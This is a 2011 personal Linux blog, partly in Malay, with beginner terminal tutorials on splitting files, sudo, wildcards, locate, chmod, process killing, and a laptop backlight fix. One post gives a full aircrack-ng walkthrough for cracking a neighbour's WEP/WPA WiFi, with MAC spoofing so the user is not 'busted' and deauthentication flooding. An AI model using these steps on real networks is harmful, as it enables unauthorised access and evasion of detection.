Friday, 25 November 2011

Splitting.Combining.At your hand.

Hey you my linux companion.Today i want to share something that will helping you how to combining files using terminal.

First of all you must install lxsplit
"sudo apt-get install lxsplit"

not a huge program.Around 10Kb i guess.How to use it?
Here.lxsplit got only two argument.


                      -s-------->splitting file
                      -j--------->Join the file

the command is

"lxsplit -s [filename] [new size]"---------->for splitting
"lxsplit -j [filename.001]"--------------------->for joining

as usual.here my screenshot :)

*actually this working like hjsplit but since you are using terminal.ITS COOL BEB*hahahahahahahahahaha!!!!!

Bugging in ubuntu

Entry kali ni aku nak kongsi sikit pasal permasalahan kecil(bug) yang terdapat dalam ubuntu 11.04 juga 11.10.sebenarnya aku dah pon try ubuntu sejak 10.04 lagi sampai ke 11.10.Bila aku buat reaserch(keatas laptop aku je la) yang paling stabil untuk aku ialah 10.04.Ni spec laptop aku.

Nama:Acer aspire 4736z
Processor:Intel pentium processor T4200 2GHz @ 2 cpus
Video card:Intel GMA 4500M 64MB
network:Atheros AR928X
ethernet:Atheros AR8121/AR8113/AR8114
Ram:1gb ddrII

ha.tu je la kot.Aku pernah run hackintosh guna laptop aku tapi kantol kat wireless dengan grafik kad.kembali pada ubuntu.

untuk kernel baru bermula dari 2.6.35 ke atas semua dah mula menggila.Sekarang ni aku running kernel 2.6.35.Frameskip agak lag jugak la.Bila aku run 2.6.35 ke atas especially 11.04,backlight aku terpadam.LOL.Nak guna laptop ape lampu terpadam.Ahaha.11.10 pulak first time okay tapi lama-lama system jadi macam berat.Aku mengalami beberapa kerosakan yang maha dahsyat so aku pon lari ke 10.10 semula.

Aku rase untuk laptop lain memang x ada masalah.Laptop aku memang ancient.hahaha.
Okay.sebenarnya aku ada jugak la cara-cara untuk betulkan balik masalah backlight ni tapi aku x berani nak post takot x compatible dengan spec korang.Tapi aku ad sudo command yang boleh membantu menyelesaikan masalah backlight nii.Korang run ni..
"sudo setpci -s 00:02.0 F4.B=00"

haaa.perasan x nombor last 00 tu?Nombor last tu ialah nombor hexadecimal.Bile korang gatal dengan mencubanya menggunakan nombor lain seperti "ff",memang x kan idup la lampu kau."ff" sama juga macam kau arahkan lampu dimatikan.Bagi nombor-nombor lain hanya membuatkan laptop kau jadi dim n cerah mengikut nombor kau la.

Kalau dulu aku da penat sangat aku buat mcm ni je.Mase startup kat plymouth tu korang rilek(kes lampu mati).korang tekan ctrl+alt+f2,letak username kau and password.(suluh-suluh sikit sebab memang gelap).pastu korang pon run command yang aku bagi tadi.Insyaallah elok balik.hahaha.

Tuesday, 22 November 2011

p/s:ni aku aja just buat sebagai ilmu pengetahuan.curi itu tetap berdosa.so korang fikir2 sendiri laa eah?hahaha.


okay.lets start with our tutorial.Actually, we can also hack wifi using ubuntu instead of backtrack.But before that you need to install this 3 important thing.Aircrack-ng,Kismet for sniffing and macchanger.If you want to hack wpa or wpa2 using ubuntu,you need to find pentest dictionary.How to install it?

type this on the terminal.
"sudo apt-get install aircrack-ng"
"sudo apt-get install kismet"
"sudo apt-get install macchanger"

okay.lets proceed with the tutorial.Actually the command that we run for crack the password is same either you are using ubuntu or backtrack because we are actually using same hacking tool.:)
first thing you need to do is disconnect with any internet connection.Just disconnect.Dont switch off the wifi card.
1.run "sudo -s" to become root if you are using ubuntu.Backtrack no need to do that because user are already as root.
2.run "airmon-ng start wlan0"
-->this command used to see which derivative of our wifi card driver active for monitoring.This screenshot shows the card is active by mon0.

2.when you see which name of chipset activated for monitoring,then run this command for scanning any available victim's wifi.(hehe).Run "airodump-ng mon0"
and you will get the monitoring result just like this.
i will hack the yellow one.make sure you press ctrl+c to stop the monitoring.copy the essential information.you need channel,bssid and client.But now we don have the client yet.okay.see at the top line of second picture.You see BSSID?number under BSSID is bssid that we need to copy for future use.CH indicate the channel of the wifi router.

[UBUNTU ONLY]
this step is only for ubuntu user.you need to change the channel,mode monitoring manually.follow this command.

"ifconfig mon0 down"----->down the chipset for mode configuration(unlock)
"iwconfig mon0 mode managed"--->used to managed mode of the chipset
"macchanger -m ff:ff:ff:ff:ff:ff mon0"---->used to change our bssid.Very important indeed for changing to be fake because im sure you dont want to be busted.hahaha.[take note that you need to change 'f' with any number.
"ifconfig mon0 up"--->lock the chipset back
"iwconfig mon0 channel [victim's channel]"---->used to change our chipset channel
"ifconfig mon0 down"---->unlock back
"iwconfig mon0 mode monitor"--->change the mode as monitor
"ifconfig mon0 up"---->lock back


3.Third step is sniffing the target.This step will sniff the target so you can find the client or user of the victim's wifi.run this command.
"airodump-ng -c [channel] -w [target name] --bssid [bssid number] mon0"

here the screenshot.choose either one of the client only.I prefer the highest packet one.
4.on step four we will flood the client to make the data accelerate.Huge number of data is very important for key voting.Now open new terminal and become root for ubuntu.Then,run this command.
"aireplay-ng -0 * -a [bssid] -c [client] -h [your fake bssid] mon0"

the '*' is actually you need to replace with any number.usually i use 0 so the flood is non stop.If you put 6,so the flood will only sent for 6 times.here the screenshot.
5.this step now will let you to catch the reply from the flood thus increase the data acceleration.open new terminal and become root.Dont stop previous flood.The command is "aireplay-ng -2 -a [bssid] -h [your fake bssid] mon0"
usually aircrack will give the most faster client.enter y and press enter.Open new terminal for final step.
6.lastly.JengJengJeng!
we will crack the password.but wait until the data reach 5000 and above first.
run "aircrack-ng (target name)-01.cap".this command used for cracking WEP key.For WPA/WPA2 you need dictionary(pentest).If you are using backtrack so there are no big deal.locate your dictionary first.then type this command.
"aircrack-ng (target name)-01.cap -w" then grab your dictionary (usually .txt file) to the terminal and then press enter.cracking WPA/WPA2 is bloody slow process.if your processor is good then there ain't big deal.The prompt will show like this if you got the key.
finished.Here i show you my total terminal open if you are not sure how many command need to start in a new terminal.
thats all for today.Im sorry for my bad english.I am non-native speaker so on typing.If i got mistake tell me so i can edit it back.Thank you :).

Monday, 21 November 2011

Sudo????

what the heck of "sudo" actually is?yeahh.sudo is stand for Super User DO.we usually add sudo before the command that need root privilege.As an example if you want to install something via terminal.You can't simply type "apt-get install ..".you need to add "sudo apt-get" on it.This is applied on ubuntu and several other linux that based on debian.If you are using centos,the user is root already.

For ubuntu,there are several way to enter the terminal as the root.

sudo su----->this will let you to be root and directed to root/home/user directory
sudo -i----->this will let you to be root at root directory
sudo -s----->same as -i

Terminal Guessing file name and locate file.

for guessing name,we usually use for copy,delete,and remove command. This only works if you want to delete multiple file that is same format in the same time also used for multiple file have similar but not same name. As an example i have five file and i want to delete it at the same time.

file1.txt file2.txt file3.txt file4.txt file5.txt
if i want to delete all of them on the same time,i just type this command.
"rm *.txt" or "rm ~/(directory)/*.txt"

or else i just type like this.
"rm file*" or "rm /[directory]/file*".i called it as guessing because the star will represent the character that is not same with the hint.


Next.i will share to you all how to locate file.First run "sudo updatedb" on terminal.wait a little bit(depends on laptop speed).once it finished,nothing will pop out.now run this command."locate [anything you want to find inside your laptop]".the result is the terminal will show all directory of the file that is relevant with your search.here the example.I finding mozilla as an example.



Changing File Permission using Terminal.

This entry will show you how to change the file permission using terminal.
First of all you need to run "ls -l" to see the file attribute.
notice that the first lining of the list.
drwxr-xr-x 2 soap soap 4096 2011-11-21 20:01 Dictionary
-rw-r--r--     1 soap soap       0 2011-11-21 20:00 toor

actually the result is divided by 3 part.But we will focused on drwxr-xr-x first.
d------>this mean that the item is directory
rwx----->this indicate for read and write permission.
notice that the sequence.

drwxr-xr-x is actually (type)(root)(user)(other)
the root got full permission thus it marked as "rwx" while user got read and execute permission and marked as "r-x".Other user got same permission as the user and marked as "r-x".If you combine all of them and then drwxr-xr-x is formed.Actually r,w and x each of them carry their own value.
r=4
w=2
x=1
lets consider this table.
see that.The trick here is very simple.consider the root got all permission,user got read and execute permission while other got read permission.Now root have the value as 7,user got 5 and other got 4.
how to change it?we simply type this command.

"chmod  [root value][user value][other value]  [file name]"
as an example regard to the table is "chmod 754 [file name]".since the first ls running,it will show drwxr-xr-x,but when you change the mode and you run ls again,it will show as "drwxr-xr--".Now the permission for the file is changed.Here i show some example.





                                          ----click to enlarge-----
see.now the permission was changed.Try this and you will feel like you are now controlling your system :)



                                    ---p/s=sorry for my bad english.any ambiguous you can drop at comment.Thanks----



 if you want to see all sorts of bash command line for linux,click here.

Run the process,see it,and kill it.

This entry will help you how to run the process,see the running process and even to kill it using terminal.For refreshing,terminal is the brain of the linux operating system.All the process controlled by yourself.This is one of the special of the terminal.Lets proceed to the code.


--------Remember.This command is very dangerous.Beware while using it else it may harm your machine-----------


1.run the process.

                 Simply type the program name if you want to run it.Example, xclock.This command will run xclock which is an ancient clock.(hehe)


2.List the running process.


       for listing the process run,simply type "ps".If you want to list all,simply type "ps -aux".For listing specified process,simply run "ps -aux |grep (program name)"
.(see the picture).


3.killing process.

     This is the most dangerous one if you mis-kill the process.Remember.never kill the process that running with root privilege.It may make your system down.So beware about to using it.Lets proceed to the command.

simply type "kill -9 [4 digits number that represent as the process]"-see the picture.

If you are having trouble with some apps is not responding,you are advised to use this technique.
1.press ctrl+alt+f2
2.log in using your user name and password
3.run "ps -aux |grep (damn apps name)"
4.confirm the process number
5.run "kill -9 [damned number]
6.press ctrl+alt+f7 for exit the shell and back to gui.

        I hope this entry will help you for those who are new in linux.Thanks for reading.:)

Terminal simple command and its usage

This entry will guide you some simple activity using terminal.





you see '~' sign there,it means that the terminal now is on the home directory.To check where your terminal direct to,simply type 'pwd' on the the terminal.




okay.now i will list all about the command for file managing.
cd ->used to change the direction.example "cd ~/Pictures/".Now terminal will be directed on the picture folder.
ls->used to list file on particular directory.
-l ->addition for long version.example "ls -l" and it will show all the file and its detail in the particular directory.
mkdir ->used to make folder.simply type "mkdir (folder name)".For creating on which directory you want,make sure the terminal is directed first(cd).
touch ->used to create empty document. type "touch (document name).(format you want).i prefer .txt because it can be edit back using gedit later on.
rm ->is used to remove file.simply type "rm (file name)".
cp->used to copy file.since "cp" can be used with much way,simply type "cp --help" to see all possibilities.in simple way.you can try like this."cp ~/(directory)/(your file)  ~/(directory)/(your destination)/
mv->used to move file.same way with "cp"
ln->used to create shortcut.ln --help to see how this command works.


         okay. I think thats all for file managing process via terminal. Next entry i will share to all of you how to run,see, and kill the process using terminal. see ya! :) 

------addition------
by pressing double tab (tab,tab) on the terminal,it will show you all the possibilities command.try it.:)



   

Terminal

know how terminal looks like?well check this out.
                                                                  -click to enlarge-
haaa.the one that is looks like cmd.That is terminal.I would acronym it as the brain of the linux operating system including Mac osx.What is special about this thing?well if you all know how to use it,it will be bloody fun i bet you.
        How to use it?I will post on next entry.This terminal carry so much function on the linux operating system.I will teach you how to create file using it,kill proses,running process and etc.Stay tuned and you will know what is the function of this linux-brain.

Welcome

Oke.This is my first entry as you all know.In this blog,I will share to all of my visitor a little bit of my knowledge about linux and simple hacking trick with linux ofcourse.

        Why linux?well i love this kind of operating system.I assume my blog will be visited by newbie because at this moment,i dont think i can share with you all something "advances".Im sorry.

        If i got mistake,senior i beg to you please do help me.We are open source, we are helping each other.Thank you :)